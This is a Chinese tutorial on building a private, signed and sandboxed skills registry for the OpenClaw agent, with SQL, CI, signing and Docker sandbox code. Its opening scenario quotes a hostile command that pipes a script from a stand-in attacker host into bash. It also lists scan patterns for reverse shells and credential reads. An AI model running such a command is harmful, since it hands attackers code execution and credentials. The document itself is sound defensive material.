为 OpenClaw 搭建私有 Skills Registry
别再盲目信任来路不明的 skill zip 包了。用 CI/CD 扫描、Ed25519 签名和沙箱执行,为 OpenClaw skills 搭建私有市场。

你的团队从 ClawHub 装了 20 个 OpenClaw skills。没人 review。没人检查 zip 文件在 CDN 和你机器之间有没有被篡改。其中一个 skill 在首次调用时执行了 curl attacker.com/shell.sh | bash。等你发现的时候,你的 .env 文件、SSH 密钥和数据库凭证已经出现在某个 Telegram 频道里了。这不是假设 —— 824 个恶意 skills 已经成功混入。解决方案不是「更小心一点」。解决方案是搭建一个私有 registry,让运行未经验证的代码在架构上就不可能发生。
为什么「直接用 ClawHub」迟早会出事
每个人犯的第一个错:把 skill 安装当成 npm install。拉包、运行、完事。但 npm 有 registry,有 checksum、签名和来源证明。ClawHub skills 呢?就是 zip 文件。走 HTTPS,没错。但没有签名验证。下载后没有完整性校验。没有 sandbox。Skill 用的是你 OpenClaw agent 拥有的所有权限 —— 说实话,通常就是全部权限。
VS Code 几年前就想明白了。他们的 Marketplace 在上传时扫描每一个扩展,运行动态沙箱测试,并对每个包签名,让编辑器能验证传输过程中没有被篡改。Grafana 走得更远 —— 他们的 Plugin Frontend Sandbox 将第三方 JavaScript 隔离在独立的执行上下文中,让恶意插件无法触碰宿主应用。

你需要为 OpenClaw skills 做同样的事。三个组件:
- Skills Registry —— 一个以 Postgres 为后端的 REST API,存储 skill 的元数据、版本、哈希值、签名和审核状态。
- CI/CD 流水线 —— 在任何东西进入 registry 之前进行静态和动态扫描。扫描不通过 = skill 永远不会发布。没有例外。
- OpenClaw 集成 —— 你的 agent 只从你的 registry 拉取 skills,验证签名,然后在 sandbox 中运行。
最常见的错误?搭了 registry,但 OpenClaw 端跳过了签名验证。我见过这样的团队:CI 里扫描了所有东西,registry 里签名了所有东西,然后……加载 skill 时完全不检查签名。前面的活全白干了。
面试官真正在考察的: 供应链安全。你能解释为什么仅靠 checksum 是不够的吗?答案:checksum 验证的是完整性(文件没有被损坏),但不验证真实性(文件来自可信来源)。验证真实性需要签名。
Registry 数据模型
来点实际的。你的 registry 需要一张 skills 表。我的长这样:
CREATE TABLE skills (
id UUID PRIMARY KEY,
name TEXT NOT NULL,
version TEXT NOT NULL,
publisher_id TEXT NOT NULL,
manifest_json JSONB NOT NULL,
package_url TEXT NOT NULL,
sha256 TEXT NOT NULL,
signature TEXT NOT NULL, -- registry Ed25519 signature
publisher_sig TEXT, -- optional: developer's own signature
review_status TEXT NOT NULL, -- pending / approved / rejected
sandbox_profile TEXT NOT NULL, -- network-restricted / offline / full
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE UNIQUE INDEX skills_name_version_idx ON skills (name, version);每个 skill 都需要一个 manifest。可以理解为 package.json,但包含了真正重要的安全相关字段:
# skill.yaml
name: "mail-cleaner"
version: "1.2.3"
description: "Clean up old emails in IMAP inbox."
entrypoint: "index.mjs"
runtime: "nodejs18"
permissions:
- "network:imap"
- "filesystem:/tmp"
max_execution_ms: 30000
sandbox_profile: "network-restricted"
publisher:
id: "team-security"
homepage: "https://internal.example.com/security"permissions 字段是大家最爱跳过的。「以后再加。」然后永远不会加。六个月后某个 skill 需要网络访问,所有人直接把 sandbox_profile 设成 "full",因为没人记录过这个 skill 实际需要什么权限。在发布时就文档化权限。不是以后。现在。
当 registry 收到发布请求时,做四件事:
- 验证 manifest schema。尽早拒绝垃圾数据。
- 检查
name + version的唯一性。不允许覆盖已批准的版本 —— 供应链攻击就是这么搞的。 - 记录上传文件的 SHA-256。
- 根据 CI 扫描结果和你的内部策略设置
review_status。
我反复看到的一个错误:允许版本覆盖。有人发布了 mail-cleaner@1.2.3,发现一个 bug,想用修复版本重新发布同一个版本号。别让他们这么干。升版本号。不可变版本是保证你昨天验证的哈希值和今天运行的代码是同一份的唯一方式。
面试官真正在考察的: 安全关键系统的数据库设计。为什么
(name, version)上的唯一约束很重要?它防止覆盖攻击 —— 攻破了 CI 的攻击者无法用恶意版本悄悄替换已批准的 skill,因为版本号已被占用。
CI/CD:先扫描再发布

大多数团队在这里偷工减料。搭个 registry,加个「发布」步骤到 CI,就完事了。不做扫描。Registry 沦为一个花哨的文件服务器。
VS Code Marketplace 拒绝未通过恶意软件扫描的扩展。他们不是先发布再扫描。扫描发生在 skill 进入 registry 之前。这个顺序很重要。
静态扫描(在 CI 中):
- Secret 扫描 —— 捕获意外提交的 API key、AWS 凭证、数据库 URL。用 Gitleaks 或类似工具。我亲眼见过一个 skill 的配置文件里硬编码了 Stripe secret key。开发者说他「忘了」。呵呵。
- 模式检测 —— 用 Semgrep 或 CodeQL 规则标记明显的后门:下载并执行远程 payload、base64 双重解码(经典混淆手法)、反弹 shell、读取
~/.ssh或~/.aws。 - 依赖扫描 ——
npm audit、pip-audit、Trivy。一个自身没有恶意代码的 skill 仍然可能引入被攻陷的传递性依赖。event-stream攻击就是这么搞的 —— 恶意代码藏在依赖树的第三层。
动态扫描(在 sandbox 中):
启动一个干净容器,运行 skill,观察它的行为。它是否尝试解析白名单之外的域名?是否读取了声明权限之外的文件系统路径?是否生成了子进程?是否在一个 5 秒任务上跑了 30 分钟?
这是一个简化版的 GitHub Actions 流水线:
jobs:
build-and-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
- run: npm ci
- run: npm test
- name: Static scan
uses: returntocorp/semgrep-action@v1
with:
config: "p/ci"
- name: Secret scan
uses: gitleaks/gitleaks-action@v2
- name: Build artifact
run: tar czf skill.tar.gz dist/ skill.yaml
- name: Publish to registry
run: node scripts/publish-skill.mjs
env:
ARTIFACT_PATH: "./skill.tar.gz"
MANIFEST_PATH: "./skill.yaml"
ARTIFACT_URL: $ARTIFACT_URL # set by upload step
REGISTRY_URL: $SKILLS_REGISTRY_URL # from GitHub secrets
REGISTRY_TOKEN: $SKILLS_REGISTRY_TOKEN发布脚本本身很直白 —— 计算 artifact 的哈希,POST 到 registry:
import fs from "node:fs";
import crypto from "node:crypto";
async function main() {
const artifactPath = process.env.ARTIFACT_PATH!;
const manifest = JSON.parse(
fs.readFileSync(process.env.MANIFEST_PATH!, "utf8"),
);
const hash = crypto
.createHash("sha256")
.update(fs.readFileSync(artifactPath))
.digest("hex");
const res = await fetch(`${process.env.REGISTRY_URL}/api/skills`, {
method: "POST",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${process.env.REGISTRY_TOKEN}`,
},
body: JSON.stringify({
manifest,
sha256: hash,
artifactUrl: process.env.ARTIFACT_URL,
ciMetadata: {
pipelineId: process.env.CI_PIPELINE_ID,
commit: process.env.CI_COMMIT_SHA,
},
}),
});
if (!res.ok) {
const body = await res.text();
console.error(`Publish failed: ${res.status} ${body}`);
process.exit(1);
}
console.log("Skill published successfully");
}
main();我见过最多的错误?把发布步骤放在一个即使前面的 job 失败也会执行的 job 里。在 GitHub Actions 中用 needs: [build-and-scan]。如果扫描 job 失败,发布 job 就不应该执行。看起来很显然。我今年审查过三条内部流水线,这一点都没配对。
面试官真正在考察的: CI/CD 安全。「质量门」和「安全门」有什么区别?质量门捕获 bug。安全门捕获攻击。两者都应该阻断部署,但安全门必须不可绕过 —— 没有
--force标志,没有手动覆盖(除非留有审计记录)。
Skill 签名:双层模型

Checksum 告诉你文件没有损坏。签名告诉你谁生成了它,以及自那之后是否被篡改。两者都需要。
VS Code Marketplace 对每个扩展签名,并且正在推动发布者也对自己的包签名。这是一个双层模型,而且它有效:
第一层:开发者签名(可选)
开发者用自己的 Ed25519 密钥对签名 skill.tar.gz。这证明 artifact 来自他们本人,而非攻破了 CI 流水线的人。
第二层:Registry 签名(必需)
Registry 用组织的私钥签名 (name, version, sha256, review_status, sandbox_profile)。这证明 skill 通过了审核和扫描。OpenClaw 信任的就是这个签名。
用 Node.js 内置 crypto 生成密钥对:
import crypto from "node:crypto";
import fs from "node:fs";
const { publicKey, privateKey } = crypto.generateKeyPairSync("ed25519");
fs.writeFileSync(
"registry-ed25519.pub",
publicKey.export({ type: "spki", format: "pem" }),
);
fs.writeFileSync(
"registry-ed25519.key",
privateKey.export({ type: "pkcs8", format: "pem" }),
);Registry 在发布时签名:
import crypto from "node:crypto";
export function signSkill(payload: {
name: string;
version: string;
sha256: string;
sandboxProfile: string;
reviewStatus: string;
}) {
const data = JSON.stringify(payload);
return crypto
.sign(null, Buffer.from(data), process.env.REGISTRY_PRIVATE_KEY_PEM!)
.toString("base64");
}
export function verifySkillSignature(
payload: object,
signatureBase64: string,
publicKeyPem: string,
) {
return crypto.verify(
null,
Buffer.from(JSON.stringify(payload)),
publicKeyPem,
Buffer.from(signatureBase64, "base64"),
);
}Ed25519 有一个大家常踩的坑:payload 在签名和验证时必须逐字节一致。如果你签名的是 JSON.stringify(payload),而验证方重建对象时 key 的顺序不同,签名校验就会失败。解决方案:对 key 做确定性排序,或者更好的做法是签名原始 SHA-256 哈希而不是 JSON。我在调试一个「坏掉的」签名上浪费了两小时,结果只是 JSON key 排序的问题。别重复我的错误。
面试官真正在考察的: 加密签名与哈希的区别。哈希验证完整性。签名同时验证完整性和真实性。Ed25519 比 RSA 更适合新系统,因为它更快、密钥更短,且能抵抗某些侧信道攻击。
沙箱执行:不信任任何东西

你的 skill 通过了扫描。签名也校验通过了。很好。现在还是把它放在 sandbox 里跑。纵深防御不是偏执 —— 而是工程素养。
沙箱方案的光谱,从最轻量到最重量:
| 方案 | 隔离级别 | 性能 | 兼容性 |
|---|---|---|---|
| V8 Isolates / WASM | 进程级 | 最快 | 仅 JS/WASM |
| Docker + seccomp | 容器级 | 快 | 任意运行时 |
| gVisor / nsjail | 系统调用过滤 | 中等 | 大部分运行时 |
| Firecracker microVM | 硬件级 | 冷启动较慢 | 完整 OS |
先用 Docker。认真的。别过度设计。Docker 加上 --read-only、--network none、内存限制和 PID 限制就能覆盖 90% 的威胁。等你真正需要多租户大规模隔离的时候再上 Firecracker。
这是一个最小化的 sandbox runner:
import { spawn } from "node:child_process";
import { randomUUID } from "node:crypto";
interface SandboxOptions {
image: string;
skillTarGzPath: string;
timeoutMs: number;
networkMode: "none" | "bridge";
memoryLimit: string;
cpuLimit: string;
}
export function runInSandbox(
opts: SandboxOptions,
payload: unknown,
): Promise<{ exitCode: number | null; stdout: string; stderr: string }> {
return new Promise((resolve, reject) => {
const name = `skill-${randomUUID()}`;
const proc = spawn("docker", [
"run", "--rm",
"--name", name,
"--memory", opts.memoryLimit,
"--cpus", opts.cpuLimit,
"--pids-limit", "64",
"--read-only",
"--network", opts.networkMode,
"-v", `${opts.skillTarGzPath}:/skill.tar.gz:ro`,
opts.image,
"node", "/runner.js",
], { stdio: ["pipe", "pipe", "pipe"] });
let stdout = "";
let stderr = "";
proc.stdout.on("data", (d) => (stdout += d.toString()));
proc.stderr.on("data", (d) => (stderr += d.toString()));
const timer = setTimeout(() => {
proc.kill("SIGKILL");
reject(new Error(`Sandbox timeout after ${opts.timeoutMs}ms`));
}, opts.timeoutMs);
proc.on("exit", (code) => {
clearTimeout(timer);
resolve({ exitCode: code, stdout, stderr });
});
proc.stdin.write(JSON.stringify(payload));
proc.stdin.end();
});
}Manifest 中的 sandbox_profile 决定了配置方式。声明了 "network:imap" 的 skill 获得 --network bridge,但通过 iptables 规则限制出口流量只能访问 993 端口。声明了无网络权限的 skill 获得 --network none。声明了 "filesystem:/tmp" 的 skill 获得一个 tmpfs 挂载。别的什么都没有。
害死人的错误:挂载宿主文件系统。「这个 skill 需要读一个配置文件,我 -v /home/user:/data 一下就好了。」恭喜,这个 skill 现在可以读你的 SSH 密钥了。只挂载需要的东西。只读。始终如此。
面试官真正在考察的: 容器安全。
--network none和--network bridge有什么区别?none意味着零网络访问 —— 容器连 DNS 都解析不了。bridge给它一个虚拟网络。对于不可信代码,先用none,再按需显式授权。
接入 OpenClaw
如果 OpenClaw 还能从随机 URL 加载 skills,上面这些全部白搭。最后一步:修改 gateway,让它只信任你的 registry。
在 gateway 和 skill 执行之间加一层 Skills Loader:
Request: "load mail-cleaner@1.2.3"
↓
Skills Loader:
1. GET /api/skills/mail-cleaner/1.2.3 from Registry
2. Verify registry signature against trusted public key
3. Download artifact, verify SHA-256 matches
4. Select sandbox profile from manifest
5. Execute in sandbox
6. Return result (or reject + audit log)
Registry API 端点很简洁:
app.get("/api/skills/:name/:version", async (req, res) => {
const { name, version } = req.params;
const { rows } = await pool.query(
`SELECT name, version, sha256, signature,
sandbox_profile, package_url
FROM skills
WHERE name = $1 AND version = $2
AND review_status = 'approved'`,
[name, version],
);
if (!rows[0]) return res.status(404).json({ error: "not_found" });
res.json(rows[0]);
});你的 OpenClaw 配置里应该只有两样东西:registry URL 和 registry 的公钥。就这些。「这个 skill 安全吗?」这个问题现在完全委托给了 registry 和它的 CI/CD 流水线。Agent 不需要做判断。架构替你判断。
最后一个我想指出的错误:团队搭建了这一切,然后加了一个逃生门。「开发环境下,我们允许加载本地 skills 而不做签名验证。」这个逃生门会永远敞开。有人把它部署到了 staging。然后 production。然后你回到了原点。如果你需要 dev 模式,用一个单独的 registry 加单独的密钥对。永远不要绕过验证 —— 用一个限制更宽松的 registry 代替。
面试官真正在考察的: 零信任架构。原则是「永不信任,始终验证」。即使在身份认证(skill 在 registry 中)和授权(skill 已被批准)之后,你仍然要验证(检查签名)和隔离(在 sandbox 中运行)。每一层都假设前一层已经失败了。
动手试试
前置条件:
- Node.js 20+、Docker、PostgreSQL
第一步:生成 registry 密钥
node -e "
const crypto = require('crypto');
const fs = require('fs');
const { publicKey, privateKey } = crypto.generateKeyPairSync('ed25519');
fs.writeFileSync('registry.pub', publicKey.export({ type: 'spki', format: 'pem' }));
fs.writeFileSync('registry.key', privateKey.export({ type: 'pkcs8', format: 'pem' }));
console.log('Keys generated: registry.pub, registry.key');
"第二步:创建 skills 表
psql -c "
CREATE TABLE skills (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
name TEXT NOT NULL,
version TEXT NOT NULL,
publisher_id TEXT NOT NULL,
manifest_json JSONB NOT NULL,
package_url TEXT NOT NULL,
sha256 TEXT NOT NULL,
signature TEXT NOT NULL,
review_status TEXT NOT NULL DEFAULT 'pending',
sandbox_profile TEXT NOT NULL DEFAULT 'offline',
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
UNIQUE(name, version)
);
"第三步:发布一个测试 skill
# Create a minimal skill
mkdir test-skill && cd test-skill
echo '{"name":"hello","version":"0.0.1"}' > skill.json
echo 'console.log("hello from sandbox")' > index.mjs
tar czf ../hello-skill.tar.gz .
cd ..
# Hash it
sha256sum hello-skill.tar.gz预期输出: 一个类似 a1b2c3d4... 的 SHA-256 哈希。用它 POST 到你的 registry API,验证完整的 发布 -> 签名 -> 验证 -> sandbox 流程。
常见问题排查:
- 签名验证失败?检查 JSON key 排序。
JSON.stringify在不同环境下不保证确定性。 - Docker sandbox 立刻退出?确保你的 runner 镜像安装了 Node.js 且
/runner.js存在。 - Registry 返回 409?你在尝试覆盖已存在的版本。升版本号。
核心要点
供应链是没人关注的攻击面 —— 直到为时已晚。824 个恶意 skills 已经证明了凭感觉信任市场行不通。搭建一个私有 registry,在 CI 中发布前扫描(不是发布后),用 Ed25519 签名让你的 agent 能验证真实性,所有东西都放 sandbox 里跑因为即使是经过验证的代码也可能有 bug。从 Docker 开始 —— 别让完美成为上线的敌人。还有,无论如何都不要给开发环境加一个「跳过验证」的标志。那个标志最终会出现在生产环境。每次都是。